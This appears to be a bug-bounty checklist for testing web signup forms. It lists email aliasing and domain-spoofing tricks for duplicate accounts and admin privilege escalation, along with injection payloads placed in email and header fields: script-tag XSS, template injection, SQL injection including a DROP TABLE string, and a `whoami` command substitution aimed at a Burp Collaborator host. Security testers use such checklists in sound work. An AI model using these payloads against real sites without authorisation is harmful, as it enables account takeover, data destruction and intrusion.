Signup Checks

- **Signup bypasses & takeovers**
  - Same email id and multiple accounts
    - bugavi1@gmail.com
    - bugavi1+1@gmail.com
    - bugavi+1@gmail.com
    - bugavi1+2@gmail.com
    - bugavi1+HELLO@gmail.com
    - bugavi.1@gmail.com
    - b.ugavi1@gmail.com
    - bug.avi1@gmail.com
  - Business email required
    - user@wearehackerone.com
    - user@bugcrowdninja.com
    - temp mail
    - edu mail
    - burp collaborator
  - Using burp collaborator as email id
    - me@one.id.collaborator.net
    - me@two.id.collaborator.net
    - me@three.id.collaborator.net
    - me@id.collaborator.net
    - me@[id.collaborator.net]
    - user(;me@id.collaborator.net)@gmail.com
    - me@id.collaborator.net(@gmail.com)
    - me+(@gmail.com)@id.collaborator.net
    - <me@id.collaborator.net>user@gmail.com
- **Injections**
  - email & usernames
    - user${}<>'/"*-@gmail.com (wont work still try)

- user(${}<>'/"*-)@gmail.com

- user@(${}<>'/"*-)gmail.com
- user@gmail.com(${}<>'/"*-)
- me+(<script>alert(0)</script>)@gmail.com
- me(<script>alert(0)</script>)@gmail.com
- me@gmail(<script>alert(0)</script>).com
- "<script>alert(0)</script>"@gmail.com
- "<%= 7 * 7 %>"@gmail.com
- me+(${{7*7}})@gmail.com
- "' OR 1=1 -- '"@gmail.com
- "me); DROP TABLE users;--"@gmail.com
  - Don't even think
- %@gmail.com
- user'or'1'='1@gmail.com
- me@`whoami`.id.collaborator.net
- {{7*7}}
- {7*7}
- ${7*7}

- passwords
  - {{7*7}}
  - {7*7}
  - ${7*7}
  - BXSS
  - BSQLI
  - SQLI
- other fields
  - all injection attacks

Other

- Annoying Recaptcha
  - add *.google.com.* to tls passthrough in burp

- Huge data
    - JSFUCK
- Header based attacks
    - Host header injection
    - BXSS, BSQLI on User-Agent
    - BXSS, BSQLI on X-Forwarded-* headers
    - BXSS, BSQLI on Referrer
- Response Manipulations
    - Check successful responses upon signup
    - perform unauthorized signup
    - Change response with valid messages and status codes
- Null byte injection
    - Append username, email params wth nullbyte ranges for bypassed & info leak
- using predifined keywords
    - null
    - undefined
    - true
    - false
    - etc

Logical Bugs

- Invitation based signup
    - Check invitaion code, link, token etc
    - race condition
    - same token different email ids
- signup with deleted email
    - check of old residues

Privilege Escalations

- admin@company.com
- admin@COMPANY.COM
- aDmin@company.com

- "me@gmail.com;"@company.com

- "me@gmail.com+"@company.com
- admin@googlemail.com@company.com
- me+(@googlemail.com)@company.com
- "me@googlemail.com"@company.com
- "<me@googlemail.com.com>"@company.com
- "me@googlemail.com;"@company.com
- "me@googlemail.com+"@company.com
- admin@gmail.com@company.com
- me+(@gmail.com)@company.com
- "me@gmail.com"@company.com
- "<me@gmail.com>"@company.com
- 'admin@company.com '